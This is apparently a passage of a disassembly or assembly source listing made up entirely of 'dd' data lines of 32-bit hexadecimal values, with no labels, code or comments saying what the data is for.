		dd 53A72982h, 193A00C5h, 0EE9DDB3h, 8B4CCF48h, 0E61CD05Bh
		dd 43761370h, 81740E83h, 6F469360h, 0B636E92Ah,	400C474Eh
		dd 0FD5E0132h, 5CCB01A3h, 3ABE7400h, 62481752h,	9BF44B1h
		dd 0E9F18904h, 49AA511Ah, 0DA705B72h, 992C5D7Ch, 7142A119h
		dd 68C20EA0h, 3562E55h,	9ABEC54Fh, 96664CABh, 0C7F65126h
		dd 4027E394h, 9F1424C4h, 0DB906DEEh, 0D2CAB35Ah, 5E409E3Ch
		dd 39190507h, 0E0B502D6h, 0C43A5E89h, 42C1BEABh, 0C1026B3Fh
		dd 0B82DBB50h, 0BDA3F15Bh, 6836E530h, 0B7940B73h, 0FCBE0162h
		dd 5A8A5042h, 8AFB9C83h, 8FE9C264h, 89F95E56h, 94D576BCh
		dd 163F4F62h, 148ABEFCh, 0D3AEE982h, 59D391D5h,	36E2987Bh
		dd 29AFF74Fh, 428CA8BCh, 0EF752C62h, 30AC966Dh,	0BE3EE7F1h
		dd 64303A29h, 719D26Ch,	0A8145AC2h, 0E0F00D3h, 25585D6Fh
		dd 0A0461EC5h, 52858F08h, 5E69056h, 14020B24h, 8BC78917h
		dd 0DC69DDCEh, 53DAD1E9h, 7BBAF8B3h, 5B328270h,	42B1C4Fh
		dd 0DD07FE31h, 95C288C3h, 0EDC1FF40h, 0B0845EBh, 0F5D622F7h
		dd 8ADED158h, 0E57D9809h, 0B85008F0h, 4231EA60h, 0D41E5B37h
		dd 0C808171Fh, 9F4A912Ah, 4F79A1F3h, 537309EEh,	0EF9E354Eh
		dd 593C5C2Fh, 163EBFh, 0D4C9CABBh, 0AF9209Bh, 1A7E8B0Fh
		dd 6DD9EAFh, 0F1514789h, 66804378h, 67F31D81h, 0D3F74A55h
		dd 2DA32003h, 0B15F01DFh, 98A87EEh, 8F07DBF7h, 68C3525Bh
		dd 5AF210E7h, 810F965Eh, 0A792CF2h, 2EF53FEAh, 0E949C75Fh
		dd 0A55CC942h, 893F070Ch, 9F2EDFB4h, 2D81BED8h,	57E94A0Ah
		dd 72EF2AD5h, 84005AFEh, 98770348h, 27CE0C6Fh, 676E72D7h
		dd 6D8AE00Bh, 63A0DD01h, 299236BEh, 304A05B0h, 9DA1FF98h
		dd 1CDFB209h, 27DEB76Fh, 5F72E958h, 3F9F89B3h, 53814BF2h
		dd 0A5FCCBE9h, 0ECCE8F5Bh, 53D43F05h, 3278DD59h, 462AE1B3h
		dd 6A70D58Bh, 7D9B7EF1h, 38E12814h, 0A09BF97h, 488678B7h
		dd 0DA018488h, 0DEB3585Bh, 0B5BD4030h, 10B0F69Ah, 4A695738h
		dd 1A3A8EFEh, 7D809388h, 55A78C1Eh, 57F9740Bh, 0D0C3BD19h
		dd 34F4FB3h, 0A9E42AF5h, 0B82CF828h, 9CDA22Bh, 80F39608h
		dd 63123EE9h, 2D995C20h, 0D9C5D728h, 4EE7E827h,	9635040Ah
		dd 0AA30BE3Eh, 318475FDh, 43DDC8F5h, 2E88749h, 0CA1BF57h
		dd 9545C098h, 0F0D5A6AFh, 5C6402Bh, 0AA667000h,	62EA2D67h
		dd 2675508Dh, 0D5B841F3h, 30DF5151h, 0A1FD3CD8h, 0E87BF968h
		dd 40EDCB1Dh, 953433ABh, 1A76B8FFh, 12E29223h, 91695885h
		dd 3EE3D521h, 0E46564B2h, 8EC281D3h, 0D17D2050h, 840FE604h
		dd 7BA44D45h, 246C1FABh, 0DD8C0B6Dh, 0E46F226h,	0BFA27931h
		dd 0AF5037F3h, 125FBEE1h, 0A01B217Ah, 642A6820h, 0BB056615h
		dd 4EA73010h, 0E6F0E80Eh, 640C116Bh, 0FE1EB676h, 1395A4C8h
		dd 0D821B73Dh, 353D539Bh, 0D6878633h, 9708D2F7h, 1F986766h
		dd 154960Eh, 83E6C945h,	0E019BED5h, 133C91F6h, 0BB09253Fh
		dd 46B09E21h, 0DCBA0401h, 2FBDAAFCh, 7E1D8BF4h,	85756B3Fh
		dd 6BB96015h, 0FD61FED6h, 9D74DB02h, 21ABD6Ch, 5DC6695Dh
		dd 0A061BF2Ah, 55818B2Ah, 208025C3h, 2ADAC589h,	0E9742CAFh
		dd 0FC2F6827h, 5950E25Bh, 1A036675h, 572DCAE9h,	0D47AE060h
		dd 8F0F2309h, 0D5594261h, 2989F1E8h, 2BBDE9h, 92CCCE1Fh
		dd 0AB406DE9h, 7DF818F7h, 8659D6DAh, 5250E603h,	0E96CB151h
		dd 0A935A19Ah, 355240A5h, 6A92B2F8h, 0D1D1682Fh, 30BD81D0h
		dd 7B4CA91Dh, 4AE979F0h, 68E080D7h, 0EB2C35EAh,	0CF087770h
		dd 97923AC7h, 7B49A769h, 6AFB122Dh, 0BB959ABh, 3DE4EE9Ch
		dd 0A591D8A1h, 27AE7086h, 12D14B1Dh, 0EB1FC92h,	99FE8A3Ah
		dd 0BD50E031h, 0C249432Dh, 61800F84h, 0CC2661DEh, 0C7603B02h
		dd 3DBDC13Ch, 264EBD00h, 8102F590h, 0A0BA4E5h, 97C76049h
		dd 223B005Dh, 7E0E5605h, 0E83F296Bh, 51C727E9h,	4FE0A000h
		dd 0E752BFD2h, 2C1416ABh, 0E70A0532h, 8A688021h, 9072D14h
		dd 725490E9h, 42063E72h, 0FAF01BADh, 0A5F32926h, 8BA40B20h
		dd 7ECA7120h, 1C1D72BAh, 0E7776817h, 2136BD98h,	81357A2Dh
		dd 4AAE0E86h, 369DC20h,	0E90DDA9Bh, 0AA85956Ch,	4B60439Ah
		dd 20976852h, 0D76FAA30h, 0B5D1DDE9h, 2F217FC6h, 0E9548446h
		dd 5F9DA0B1h, 64F8294Fh, 0E4C61812h, 6016BF72h,	0E8EC591Fh
		dd 0E4440117h, 19402ABAh, 0AD095E5Ah, 535785E7h, 66D10BC0h
		dd 6A3A76C2h, 0E2C6EFFh, 13FE9590h, 968BFF87h, 0D20BEF4Eh
		dd 6F7FFE47h, 3B21FD02h, 74BA1641h, 0E2905EE8h,	59A8A42Dh
		dd 0C7C879h, 8FA397D3h,	81E7E3E9h, 877EED5h, 0A96F4038h
		dd 0FFBC4AD0h, 0D429CF8Dh, 33C0C5C7h, 18235AEBh, 2556B96Eh
		dd 0B0246E67h, 5A94FFADh, 3D75539Dh, 317CC7A5h,	9082F5CBh
		dd 0E77E435Fh, 0AD73904h, 630C6FAh, 1E180760h, 2547913Bh
		dd 7C868BE9h, 54A1E43h,	82520180h, 0A22AC013h, 0E93A55D8h
		dd 75A10327h, 0CDD21F96h, 0F4E1ECF8h, 68E3EE7h,	0D2C89C50h
		dd 0F792AA52h, 0DC9AAA35h, 77018103h, 3983039h,	0D11FD48Ch
		dd 90BDF85Bh, 5073721Ah, 4D0B4E68h, 1A69FD3Eh, 5059C229h
		dd 557217h, 21BA7F80h, 0E99D0858h, 45C65F25h, 0AE5D944Dh
		dd 0CE5F078Bh, 0ADE1B5BAh, 0F2EF32Bh, 680E11F8h, 0EAA95639h
		dd 62F3D88Bh, 20CEB880h, 97E94EBFh, 91327FAh, 0DCAD5AD6h
		dd 0F496005h, 9DC0AB48h, 0C125E928h, 6F592F0Ch,	67F40041h
		dd 290A1FDEh, 8C294F2h,	0BE140C68h, 1F222051h, 0CF99E319h
		dd 2BE57AC3h, 0BDD3D262h, 84D54B2Dh, 0D2DC8EBCh, 0EF4D24C3h
		dd 0F5EBD885h, 508821F6h, 0D1F7419Fh, 3C25AF90h, 709F5E36h
		dd 0E9275A53h, 0F7430B8Eh, 322DE4CDh, 49B6414Ah, 0C12AF5F0h
		dd 9E792B0Ch, 9CB52B1Bh, 820C0806h, 90E40414h, 5AA3BF12h
		dd 93B19C2Ch, 10B59F5Ah, 7264A558h, 90ACC57Ah, 86201B0Ch
		dd 0DE4C347Bh, 0EBE08E31h, 425F0E6h, 0CC6EE7BBh, 80AA852Bh
		dd 52250C31h, 0E13ABA6Fh, 0DAF74265h, 6BD8EB40h, 0EF7579CAh
		dd 140E8BD0h, 0E157550Ch, 0FDDEA025h, 33B6246Fh, 0A6A52E99h
		dd 5DE0CA7Dh, 0E0890371h, 4918F5ACh, 7B95C908h,	0B955AFDCh
		dd 56705CDFh, 0C3808076h, 51660105h, 0F0BF16B5h, 0B43D50E5h
		dd 0B7530BD9h, 0F63C804Ch, 0E683C980h, 4CA376E9h, 89117DC1h
		dd 5EA02D4h, 0E3DBF071h, 0A3ACA401h, 0A6E11AC9h, 6087355Ch
		dd 2867A26Fh, 45B1EE9Fh, 51FA9C27h, 60951D12h, 93758BDh
		dd 716D1844h, 14B50480h, 315E089Fh, 741004B7h, 3B6809ABh
		dd 0D3EB7C27h, 4B435313h
		dd 9C6648C1h, 0B25FC693h, 43B9343Ah, 11EB95C0h,	5A3B2F76h
		dd 0A39932E8h, 51F161C4h, 0EA6774E0h, 7E7A4874h, 6B847C1Bh
		dd 297DCCB2h, 87A28219h, 30DD0B66h, 0E19DAF1Fh,	0DFB2EC15h
		dd 7347AF7Ch, 0D2689D0Dh, 1F18C0Eh, 42E9DBC9h, 0B2B14385h
		dd 270D5C02h, 702FAFEh,	0E677D468h, 7DE91728h, 0EA66D072h
		dd 6EE65950h, 0E9508394h, 29725AF6h, 1ACE925h, 0EBF5DA87h
		dd 2B94453h, 25C2BE7Dh,	0D52C84h, 15E082Dh, 0F65E9554h
		dd 0E90B1148h, 455FA709h, 0F7F362h, 164ED668h, 0C3AD2D50h
		dd 816AC941h, 35E6862Bh, 1A8A2AE3h, 0DC88520Bh,	0B701C466h
		dd 58E73065h, 6B20EFD0h, 4EE97DA6h, 766040A0h, 8158FE19h
		dd 2B2FF205h, 84EB4D42h, 570E82D5h, 798B77D9h, 0F709C808h
		dd 32E271Bh, 89328h, 3D69B850h,	353A120Dh, 42C1030Fh, 0CB30FA25h
		dd 0C191AB5Bh, 0F54423B0h, 5C5EA50h, 198651Ah, 16F194AAh
		dd 38C0908h, 77BE1360h,	5C0995F8h, 0C6067168h, 0FEB02557h
		dd 0A54FCCC6h, 0ACBAA3C4h, 0DED1E55Fh, 0AC3CCCEEh, 1BA688Bh
		dd 328CDAFDh, 0F81B6AE2h, 0A6790FC0h, 12EABA80h, 0EE77DF62h
		dd 0D32D3E0Fh, 569E72BFh, 30668FBh, 2A6E574Eh, 630242h
		dd 9531B8B9h, 9AE8BE6Bh, 3D95709Dh, 0DE8559CEh,	0E4871DE9h
		dd 3D60934Bh, 2C70E3E1h, 0CB774C57h, 2E5BEB05h,	0BB63944Dh
		dd 0CAFB6A84h, 0F0A85BE7h, 0B47275B7h, 68B406E8h, 8A685802h
		dd 38BD4C3Ch, 39123E18h, 65D8453h, 8FED4787h, 9D76C538h
		dd 0E5811D56h, 23C361F7h, 1830CDF0h, 2407FD3Eh,	0CE28282Ah
		dd 710BF536h, 7A65F715h, 5D0880CDh, 0C3E826E9h,	0A454982Bh
		dd 98C7BBA0h, 9FE83B1h,	63F4D6D1h, 0EB01C150h, 686659ECh
		dd 0D6D7EB9h, 287AB700h, 919BE9FCh, 9CD27C95h, 79A1EDEFh
		dd 60727BF9h, 0F562EB5Ah, 0D7DD010Dh, 805E07B9h, 503EF822h
		dd 9273E944h, 0D428033Fh, 6AEC805Ah, 0BE39C499h, 0E906E70Ch
		dd 0C4CC6212h, 941C0F51h, 3985E883h, 7E2CCF8Ah,	6985A94Eh
		dd 0EB9956FFh, 35DED800h, 4B8B646Fh, 8129E304h,	736E3816h
		dd 985F32A5h, 1B95143h,	18F343BCh, 3F0611E9h, 0E68B15B2h
		dd 0CBC24FE8h, 0A467363Dh, 0EA14CD01h, 631C6008h, 902ABF3Ch
		dd 7B0438D3h, 6565BF5Bh, 4C4BDCBAh, 0ABD1EB68h,	1F50109h
		dd 33140608h, 654CF46Bh, 0AD3F6396h, 0C2D053E8h, 90ABF0E9h
		dd 1A259AD6h, 0FEB2009Dh, 4F0C8093h, 0D809A229h, 16700222h
		dd 0FF516320h, 4B91EF78h, 8E86BD6Bh, 0A79DB248h, 0E7EC7C3Fh
		dd 0D7AF1964h, 0F7BE5AC2h, 53056D9Ch, 0D9886FB3h, 519E71C2h
		dd 20FE28C5h, 0A8B2EC17h, 18A6449h, 7B116851h, 0B87B25F2h
		dd 0F370C6E3h, 5A540430h, 0D857F468h, 7419D53Ah, 0B64A146Fh
		dd 0A733F87Bh, 68D738D2h, 2467C577h, 3D233423h,	14285D8Bh
		dd 0E928E87Dh, 790BA0Fh, 0E699BE2Dh, 0EB75A512h, 5B578414h
		dd 0E91B78EBh, 91F0155Ah, 8B524FADh, 0B4FE1351h, 2EC468BCh
		dd 10DBE660h, 0F600A7F5h, 0CBF480D4h, 587DE328h, 6BE8342Dh
		dd 8C35BF88h, 5A0789B9h, 0B546E58Dh, 6DBEE1B4h,	0B0D3D0A7h
		dd 3F22A4B9h, 397306F1h, 6E25103Ch, 43AFC173h, 476827F5h
		dd 5C24AFF6h, 0EF29DD07h, 0E4D54FE2h, 3912018Fh, 0F53189ADh
		dd 0B2B23F5Eh, 55305252h, 0B3133226h, 68501600h, 75937B1Dh
		dd 83BF4EE9h, 7A3CFE48h, 87F8989Ch, 0EEE0D312h,	97E9929Ah
		dd 36ACFE2h, 0D8701F87h, 1CAA5913h, 61D813CCh, 24A66840h
		dd 5D5EEAC6h, 0F81432FEh, 660819F3h, 0F10A3220h, 0C75A5Dh
		dd 0AF12A12Dh, 9D850F7Bh, 48BAFC4Bh, 6326CB57h,	4EF85FC4h
		dd 0AB8CE25h, 620AD7BAh, 0DA4A2947h, 8E64813Bh,	8856E93Dh
		dd 8D93E538h, 0C2A42AB8h, 0E4EF451Bh, 0F828B258h, 0F52780DBh
		dd 72FD5C6Bh, 88FE4557h, 0F043D85h, 17EB4A8Bh, 0ADB6F8FCh
		dd 0A433B22Eh, 82055A92h, 7C9CE91Dh, 0CBE0965Ah, 0E953811Eh
		dd 0B92A961Ah, 20D35097h, 0B8BF552Eh, 0E7868F09h, 0EA4E895Dh
		dd 98BB0FD6h, 0EF2BD7D3h, 584A7908h, 84013C76h,	894B7538h
		dd 0A6E26AFDh, 4484F049h, 0EBD8FA02h, 7BC64792h, 6097803Eh
		dd 3AB225A8h, 0E9411EE8h, 420DE483h, 0CC9ED813h, 0D86CDC9Dh
		dd 0D84A1BE9h, 41C4B5A3h, 21B50544h, 27011CFEh,	814BAFC1h
		dd 0E417C535h, 806A06B9h, 0FDA805EEh, 78EE0927h, 67E9187Fh
		dd 0ABB9A6C1h, 615DBC70h, 49277DD2h, 6212D14Ah,	60D4A13Dh
		dd 0CA5B6E62h, 56C1F582h, 793CE8F9h, 8560C795h,	87932599h
		dd 1CF74D7h, 3F7F840Fh,	720A5A40h, 0E92D137Dh, 833384D0h
		dd 98E432F5h, 6964A3E6h, 24E3FA79h, 0D410D04Ah,	404CB954h
		dd 1A2D0433h, 0A6FA358Ch, 0CCE90C22h, 0B8B4CC85h, 9DA6F05Eh
		dd 889EA5F1h, 0F70182E9h, 396A68A1h, 25E96B48h,	92F5F60Eh
		dd 0E85B8594h, 0C5B4E0BCh, 0AA70AE82h, 0C1D159E9h, 5D690C2Eh
		dd 812D51BEh, 0B0C464BDh, 0C530340Fh, 4A54EE58h, 2C1DF818h
		dd 0D09B7839h, 3668408Ch, 4BD5E85Bh, 3296CC72h,	0CB4DC040h
		dd 12416090h, 11546145h, 0DCD889C0h, 0FC4D5EAh,	4EE5DEEh
		dd 0CD8FA227h, 0B9FD3A4Bh, 13A38D40h, 95E111Bh,	0C2A1E24Eh
		dd 3A44C6E9h, 0F372FB46h, 0D0040216h, 1DAE6857h, 3CC3E79Bh
		dd 645AF726h, 4653860Bh, 4D19648h, 5FED47C4h, 3A905C16h
		dd 25DCAF42h, 0F05E09CEh, 3E4DF270h, 21A502F8h,	0BAF14FC0h
		dd 524FBDB8h, 5DE12CBBh, 1988F0CBh, 0CADD52D5h,	0E275E3E6h
		dd 9A6801BFh, 12A93630h, 74EA064Ch, 9F98EED4h, 9EEF5E56h
		dd 66E61048h, 1B25203h,	6FFAD128h, 7F097669h, 42D35AE2h
		dd 29308C0Bh, 10CCEF20h, 47A9302Bh, 0DB54C40Eh,	68567C07h
		dd 0F50928C7h, 862678CDh, 81AF6E14h, 37387829h,	1493943Fh
		dd 8A07AC08h, 0B57E4B63h, 0A004EAE6h, 52FF5AA2h, 0DC1EBAE8h
		dd 0C3718959h, 0E12AC2D5h, 27F66FC8h, 186F702h,	1F5254Bh
		dd 32FA68C5h, 5F169476h, 0B1CBFAA7h, 0C1B680Bh,	0B596B45Fh
		dd 8AEB8130h, 4199C28Ah, 0EA054DA2h, 0E84E29F7h, 0D6D94CBCh
		dd 5EA2CBEBh, 0E7604CCDh, 385595A2h, 0C061FD55h, 60ACF58Bh
		dd 0CC01198h, 756D0466h, 0D1EA4F29h, 7E0725FDh,	0CB1387CBh
		dd 8E9CFA84h, 0C1F74096h, 8BC0E250h, 6DC0BCFEh,	5320C2F2h
		dd 6DDCB77Fh, 0AAC88085h, 14F2FA34h, 0A99CFB85h, 0A4CDDEC0h
		dd 5D857AEh, 499F3D76h,	208BFC97h, 1737B3F7h, 0F249227Bh
		dd 86787ADEh, 294CAB05h, 71045EF1h, 500763Bh, 5149479Dh
		dd 5523589Dh, 0AE2A9EEEh, 81341F7Ch, 21133B22h,	90521B0h
		dd 0FC0E39B7h, 40D00C5Dh, 21761DD2h, 0ACED960Bh, 0AB608993h
		dd 4F270FB8h, 56770150h, 0F5C8CE89h, 4559305Eh,	0BE52153Eh
		dd 0E5004F76h, 3B668C4h, 9FD971E9h, 3CD61992h, 4B26D503h
		dd 35880245h, 6C070999h, 55031AE0h, 401EBD05h, 6E9323F2h
		dd 3176D995h, 0BB2BC861h, 9ABDF060h, 4BFB2577h,	7139B0Ah
		dd 3CFF5D59h, 8719853Eh, 1FFEC190h, 7B162D00h, 252E6001h
		dd 6E987ED2h, 16DFE4E8h, 0EC29D4E7h, 3780107Eh,	416CDE78h
		dd 0BA7AF505h, 4552D450h, 2D321348h, 7DFAE6C5h,	4B5FF453h
		dd 7A0F89D0h, 892B8F8h,	51003F4Bh, 8EB05DB1h, 59C80130h
		dd 0F0280304h, 0C5AD02Ch, 0E8C0D01Eh, 550506F2h, 265C3202h
		dd 0FFF29E0Ch, 0DE3BFE62h, 1ACC8796h, 36CAB83Dh, 0C8FEBF41h
		dd 40DD5AF0h, 0B358C7CEh, 0B39C706h, 0B7D951DDh, 7D0206CCh
		dd 2D149C0Eh
		dd 0E9D057D4h, 25B796D9h, 41BBE557h, 3A9A6AE9h,	0C5C0B857h
		dd 4A433404h, 5035ECC9h, 3717558Fh, 7AD46476h, 284C081Fh
		dd 41EC776Bh, 83816EA7h, 0E87AD021h, 0B195A1FAh, 0EFEE6F96h
		dd 0FDF45D02h, 2DADC070h, 0D16597C3h, 14E6EF02h, 0D7296171h
		dd 0B008EAA0h, 7FF22A0h, 7ACE76B7h, 564F0772h, 0B7535780h
		dd 0E7863DFCh, 38501D1Ch, 8438A95Eh, 0DDFFDAADh, 8BB32009h
		dd 0BC7E5C81h, 81168428h, 7BB5B6ABh, 3512F75Eh,	91E3A2FAh
		dd 8923DE09h, 0EA6BD1E9h, 0C8405DB2h, 0AA7810F0h, 58C12912h
		dd 74041BA8h, 0AC73952Ah, 3D904AB5h, 4E3DECDBh,	6898C096h
		dd 92A6760Ch, 18C127A0h, 0DFE4793Ch, 95805D85h,	0B123850Eh
		dd 0FA082088h, 91E85A3Dh, 3E641E9Bh, 0C51C27E6h, 0B27D2520h
		dd 0D90C8452h, 0CF00F714h, 3712A8Ah, 0F5A0EF83h, 0E49D3FCCh
		dd 0E18CE2A1h, 65E90C0Bh, 5C8A7CB7h, 581590CAh,	0CB3F8BCCh
		dd 0A6517F93h, 0C8A72E61h, 2061ECA5h, 0F62DC708h, 0FEF603DCh
		dd 0BAF4A9C4h, 304E1081h, 2A2858E1h, 663647FFh,	0E9338068h
		dd 54D6AE4Fh, 0B8518AE0h, 263977F4h, 10172F18h,	8917E13h
		dd 2D800E08h, 0B9C18F42h, 0CF347B81h, 0EAFA13FFh, 2D7DFF8Bh
		dd 0B37F93D0h, 5849DA05h, 0B6521347h, 0AD191E77h, 5F9658F6h
		dd 0EF002AA6h, 4F1C3E16h, 0BFB6F0E9h, 2EF26801h, 933077A7h
		dd 322D1988h, 0C2EDDC99h, 0C08B45F5h, 73B0685Ch, 0BCF1A9C5h
		dd 5A16E9F4h, 3916B443h, 2A6F582Ch, 71F13209h, 5DC380DDh
		dd 29265B66h, 47E5EB78h, 0A1FEC908h, 4B52E978h,	195B3DBh
		dd 20503C12h, 0E0FAE3D1h, 26431954h, 1F0D2234h,	1A1E8B40h
		dd 8A8E7DF6h, 12B33931h, 2914AF3Ch, 370293EFh, 5D20F806h
		dd 0A165FA5Dh, 237E0968h, 7C039E83h, 0A58C0F4Fh, 1E4B10BAh
		dd 14050F85h, 311F620Eh, 4604D4C5h, 6804B52Ah, 4C195037h
		dd 31CDB280h, 12182C06h, 56360FDDh, 46605EA9h, 302EA2Dh
		dd 0F02943D5h, 5E078105h, 0C88BE0D1h, 0FDC848A1h, 0CEB7DA2Eh
		dd 8B07DF0Dh, 0E4FDAA21h, 0E6A0573h, 0A6296C93h, 0D8010479h
		dd 0D9A8B968h, 0DCE955C2h, 5F1A895Fh, 49A80FEEh, 734C4B68h
		dd 1B94D05Bh, 0A012A1BAh, 5FAD025Ah, 9BCDF421h,	0D6B4EE12h
		dd 5DF8DD09h, 4D7CC1ECh, 94BFA2EEh, 61112599h, 0B30A419Ah
		dd 8FDF6B26h, 7B70660Dh, 0E3C24A31h, 12F14C5Ah,	0F8F81178h
		dd 0FFE288C4h, 377A5DF3h, 0E72421BEh, 5AF323C6h, 0DF65562Ah
		dd 0AB975C76h, 91A494EAh, 0BA998981h, 0D98D3BDDh, 0AC3EC60Ah
		dd 0F109A5A3h, 56B1F618h, 8ABCE910h, 2A4BEC5Bh,	0C7A2EDF1h
		dd 54C09C74h, 5E74685Eh, 4647CC78h, 7D8A6C00h, 0C283DAF7h
		dd 8AE0B501h, 825A7593h, 0A51012A8h, 1C5B31C9h,	64D04339h
		dd 35EE3581h, 7C1FFE0Dh, 1CB268C4h, 0AEC232A8h,	0F540C32Ah
		dd 1AC063D9h, 14F21735h, 0C7892912h, 7A390B90h,	0C108DEE8h
		dd 292FAF74h, 0CDCFE0D8h, 52722576h, 8AE0E9F0h,	9DE9674Fh
		dd 1CA00841h, 0B1585214h, 58001C27h, 65440F2Dh,	0C60C4D75h
		dd 600D692Fh, 0AD07A305h, 60B41112h, 7B9F414Ah,	688310F2h
		dd 0BF853FACh, 0EF58C78Ah, 0F471D327h, 272110E3h, 21D75FE7h
		dd 5BDE887Ch, 2647C02Eh, 1377E380h, 4E6B001h, 58C330C8h
		dd 0E908212Eh, 0FA274F8h, 0F42D8617h, 4FF7D39Ch, 2C0FB33Eh
		dd 0FF9D575Ah, 0E96187C1h, 0D82AD0A7h, 0ED68E421h, 0C512C512h
		dd 0EEE76FB8h, 5F5AF057h, 1F5EA6FCh, 4802A133h,	2C04F0E7h
		dd 804B3304h, 0D866095Fh, 0E0E9100Bh, 500CA7E3h, 56FC9375h
		dd 0B281FA4Ah, 10A77C85h, 1EC52AD6h, 8B5BA7D2h,	0AE50C856h
		dd 67479530h, 2174133Fh, 0EAA009ACh, 0BB0B09A4h, 8FA013Ch
		dd 0E90D080Bh, 79214F26h, 0D9D4C2A5h, 0F5E3B0BEh, 129A6852h
		dd 81B4B61h, 0DD2FAF67h, 0C722B8B8h, 20968082h,	925A1047h
		dd 9CEEFC90h, 77502DD7h, 6A5A1CB6h, 434E41B2h, 9BB9E64h
		dd 31D01F19h, 899F6058h, 0E158084h, 0EC753966h,	2A3C0BC5h
		dd 0AE559BB2h, 36B961A3h, 94251B0Eh, 98088CCAh,	96670F3Ah
		dd 0F6A04E58h, 77100C93h, 21D8E92Eh, 12075FACh,	8FDB1B1Dh
		dd 2992191Dh, 0BB06436Ch, 7A642C6Eh, 7C35C31Dh,	7F047FD6h
		dd 281F3385h, 0C41019Bh, 34E94367h, 638A5787h, 24279246h
		dd 26A7F8C0h, 58EE47B6h, 558A28B8h, 0E189730Eh,	0FF54695Ch
		dd 0B4F36800h, 54513324h, 4489708h, 0D29418E9h,	0ECF5D9B7h
		dd 7B8F2D59h, 5C32C8C6h, 508489B0h, 0B53CFA5Dh,	845212D1h
		dd 38A1E1EBh, 66E1AB6Ch, 7480041Dh, 5C082E2Fh, 83005336h
		dd 0F381FFEBh, 37276BC4h, 4105423Bh, 0AE058AE9h, 5E0ACF1Eh
		dd 0A783C37Fh, 7D15D173h, 0D75C1436h, 8704EF65h, 88A9514Fh
		dd 99966C3Bh, 5B9E2C07h, 0F828C531h, 0C442EFF0h, 89B66097h
		dd 8FC54262h, 0D98243F6h, 5C340D45h, 0CFAF393Fh, 850023D0h
		dd 0BB2D406Eh, 492706CDh, 34673D0Eh, 13120244h,	0E88349C0h
		dd 490905FAh, 54AB234h,	89AE6C6Ch, 0BD83E333h, 38EA9E4Fh
		dd 68885E86h, 0B14462C5h, 59F7A4E3h, 7A6343A4h,	4CD8184Fh
		dd 2C502568h, 0E4C92FFEh, 955D9593h, 11F3270Bh,	643113AAh
		dd 0C3E891A0h, 0C87E317Bh, 76D811CAh, 0B5404602h, 0AB48785Dh
		dd 90CE00BBh, 52491604h, 2CE4E4BAh, 0AA55A4h, 32A11C6Fh
		dd 4C671BE9h, 0EF00593Ch, 1886C780h, 5D37A268h,	0C1C01130h
		dd 8D4755F2h, 0DD9BF4Eh, 13572963h, 909026B0h, 93D50242h
		dd 0EB31101Fh, 0FCC37549h, 0A2C270B4h, 735E3A19h, 306E5840h
		dd 1F09F0CDh, 0C60481FAh, 1248498Bh, 89250AEh, 42ABE917h
		dd 0F0895F1Fh, 17D113E3h, 568AA7B0h, 71454F95h,	7FA9C8A8h
		dd 0F9AB796Ah, 3020C204h, 0B6FE3E84h, 0C35D278Fh, 4152B275h
		dd 0E2D32C6Ah, 0D166F743h, 82E7E913h, 7A52E4C8h, 84D43054h
		dd 0ED7AC6E3h, 13AF705Eh, 0B8C5009Ah, 0B0261054h, 2C1315Eh
		dd 30A46FE1h, 40240659h, 4CB40825h, 2260EA82h, 4040DD62h
		dd 7995BF93h, 0CE33636Dh, 0BF59180Eh, 79CC67EBh, 0DA1ADB4h
		dd 0B7D9DFFEh, 410C2F3Eh, 0F2E55A2Eh, 83D4F3Eh,	0FC4ACAA4h
		dd 7C96DF9Dh, 899EEDA9h, 0B0FF5882h, 0C481B1E1h, 0D4BB9B1Dh
		dd 7EB81C7h, 4A6602E7h,	16C6609Bh, 15FC82A2h, 90606E7Ah
		dd 4FC50C08h, 1AF46314h, 3ECD6701h, 0E968EA29h,	7D1B4CD6h
		dd 7501357Ah, 0EE3A94C8h, 41D7CDD8h, 0C9FD6A90h, 9699ABA4h
		dd 769C2881h, 3E295C9Ah, 80290F1h, 0C3CC5F5Ah, 60586817h
		dd 0B19EAF8Ch, 0FFD51735h, 0A02BC179h, 0F04C31EBh, 0C0CCD24Dh
		dd 19BA93Ah, 0D6C8B27Bh, 59E53801h, 0AD7E5146h,	1D233840h
		dd 0EF967291h, 38A00F04h, 3E7F3DC0h, 0AC905F15h, 7CFE4995h
		dd 751368E4h, 3A360B93h, 11251716h, 89520480h, 8C17FBDAh
		dd 23149D01h, 94B46DB0h, 5E080B2Ah, 2925A852h, 5B49A45Fh
		dd 0D6DDB7EFh, 35F48F01h, 0BE701990h, 0FB0DD3F0h, 55D56216h
		dd 961C8EB8h, 0E9654328h, 0AF7667DAh, 4C647D17h, 47467FCh
		dd 10F1D7Ch, 0ED85C0D9h, 3E4CFC0Eh, 15FA046Ah, 3DC2282Bh
		dd 2FCDD789h, 834D59A8h, 75DE25C1h, 39C73548h, 0F645E627h
		dd 0BF022FA7h, 0EDDFF829h, 66C5AD3Bh, 3110302Dh, 0BF5E9A77h
		dd 0EF0FC170h, 73674666h, 84046A9h, 0AA680C53h,	0B7C4457Dh
		dd 0B53AE3BEh, 9C014310h, 0A30EB896h, 9D85FCECh, 52ADFFDCh
		dd 0AAABD745h, 6812E19Eh, 5525BFA1h, 0B8C025A2h, 18F07A5h
		dd 8FE8C127h, 93796C7Bh
		dd 88274B82h, 0C712C6F6h, 61CB55AFh, 3486FB18h,	841EB551h
		dd 738AE5D0h, 9440EE0Bh, 0B77E3519h, 0F37B6C0h,	0D51FCA82h
		dd 0FE8CBF51h, 0BCD3738h, 9B07C6Ah, 703A20F5h, 1C2BBF7Dh
		dd 2F3AC2E9h, 92C03A7Fh, 3CAB60EBh, 7FFF265Ah, 7D1D0EDCh
		dd 7F7CF149h, 5E76D628h, 0CA259C90h, 2C589969h,	1A00AB14h
		dd 0EC51709h, 8D8831E9h, 6C3AB8A3h, 0E206D264h,	514748Eh
		dd 0BB094235h, 0DCA91805h, 8A1283F1h, 0A0123F0h, 43B00BFDh
		dd 0F8A05B61h, 78E91508h, 0C18BB7Dh, 0DBF0A76h,	35890816h
		dd 0AF4F0CE2h, 5A2EF840h, 48D118E8h, 780501EAh,	0BE22284Eh
		dd 4BE9FFB0h, 81088550h, 5C8CE3Dh, 0A5BEC1AEh, 0B56287B1h
		dd 72825990h, 0C3324AB8h, 84DA9AD6h, 57051BB1h,	1C2FE656h
		dd 5F257586h, 5300B3C7h, 9907ACBBh, 0C359847h, 19AD1F13h
		dd 0CE406686h, 4FE9124Bh, 0F560FEB2h, 52D41C71h, 2479AC6Ch
		dd 60563235h, 0E9515854h, 4F75405Dh, 0F78C68EEh, 9BFAA74Ah
		dd 28A95E7Ah, 0AD4C2985h, 81FD4E99h, 0AAE6905Ah, 41175C32h
